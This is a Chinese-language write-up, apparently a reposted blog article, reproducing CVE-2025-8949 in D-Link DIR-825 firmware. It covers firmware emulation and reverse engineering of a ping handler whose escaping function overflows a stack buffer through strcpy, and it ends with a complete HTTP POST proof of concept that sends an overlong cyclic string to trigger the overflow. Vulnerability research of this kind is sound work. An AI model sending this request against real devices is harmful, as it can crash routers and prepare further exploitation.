CVE-2025-8949漏洞复现技术分享

admin 2026-02-08 01:18:46 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文分享了D-LinkDIR825固件CVE-2025-8949漏洞的复现与分析。作者首先使用Binwalk解包并利用FirmAE搭建模拟环境,随后逆向分析httpd二进制文件,定位到ping功能相关的get_ping_app_stat与parse_special_char函数。分析表明,parse_special_char函数虽试图通过转义特殊字符防止命令注入,但内部使用strcpy拷贝数据至200字节缓冲区时未进行长度校验,导致栈缓冲区溢出。文章最后提供了触发该溢出的HTTPPOST请求POC,完整展示了IoT设备固件分析及漏洞利用链路。 综合评分: 88 文章分类: IoT安全,漏洞分析,漏洞POC,逆向分析


cover_image

CVE-2025-8949漏洞复现技术分享

原创

小木说安全 小木说安全

智检安全研习社

2026年2月6日 15:14 陕西

一、准备工作

1.Binwalk解包

Binwalk -eM 目标

2.使用firmwalker查看基本信息

./firmwalker.sh /home/lab/桌面/D-Link/_DIR825B1_FW210EUB01.bin.extracted/squashfs-root dir.txt

通过查看发现web固件httpd,根据文章内容进行模拟

3.使用FirmAE进行固件模拟

sudo ./run.sh -d dlink DIR825B1_FW210WWB01.bin

4.端口转发

socat TCP-LISTEN:8080,fork,reuseaddr TCP:192.168.0.1:80访问端口http://192.168.238.130:8080/

二.分析复现

1.跟踪函数get_ping_app_stat

函数分析

1、缓冲区 v5[256]

fread(v5, 0x100u, 1u, v2);

0x100 = 256,正好等于缓冲区大小。

如果 ping 输出超过 256 字节,理论上不会溢出(因为 fread 按照大小读取,但这里的问题是 system 命令的格式化字符串)。

2、system(“ping -c 1 \”%s\” > /var/misc/ping_app.txt”);

这里直接把 %s 放进了 system 命令,而且 没有把 a1 的内容传进去。

如果在实际固件中 parse_special_char(a1) 返回了字符串,并且 system 调用使用了用户可控的字符串(如 sprintf(cmd, “ping -c 1 \”%s\” …”, a1)),则可能导致 命令注入漏洞。

3、返回值逻辑

根据 ping 输出文件判断成功/失败/未知主机,这个逻辑没有安全问题。

接着我们追进去分析函数parse_special_char,看看里面写了什么。因为该函数是外部函数,所以要回去解包的固件中找他的文件位置,发现该函数在libproject.so文件中,将其放进IDA里分析函数

2.Web接口功能点定位

3.跟踪过滤函数parse_special_char

4.函数分析:parse_special_char 用于对用户输入的字符串进行 转义处理,主要是给以下字符前面加上反斜杠 \,” 双引号\ ,反斜杠,“` 反引号,$ 变量符号

目的:防止直接拼接到 system(“ping …”) 命令时出现命令注入。

2、存在的问题:

使用了 strcpy,且 v11[200] 存放用户输入。如果传入的字符串超过 200 字节,会导致 缓冲区溢出。再加上 v10[400],虽然比较大,但 strcpy(a1, v10) 依然没有长度检查。

3、总结:

parse_special_char 本意是做命令注入防护,但防护不完整,反而引入了新的 栈缓冲区溢出风险。

5.漏洞复现利用poc

| | | — | | POST /ping_response.cgi HTTP/1.1 Host: 192.168.238.130:8080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Referer: http://192.168.238.130:8080/tools_vct.asp Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Origin: http://192.168.238.130:8080 Content-Length: 98   html_response_page=tools_vct.asp&html_response_return_page=tools_vct.asp&ping_ipaddr=aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaacaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaacaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaacaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac&ping=Ping |

三,参考文章链接

漏洞复现文章:https://www.iotsec-zone.com/article/509

工具 firmwalker:https://github.com/craigz28/firmwalker

FirmAE:https://github.com/pr0v3rbs/FirmAE


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:智检安全研习社 小木说安全 小木说安全《CVE-2025-8949漏洞复现技术分享》

评论:0   参与:  0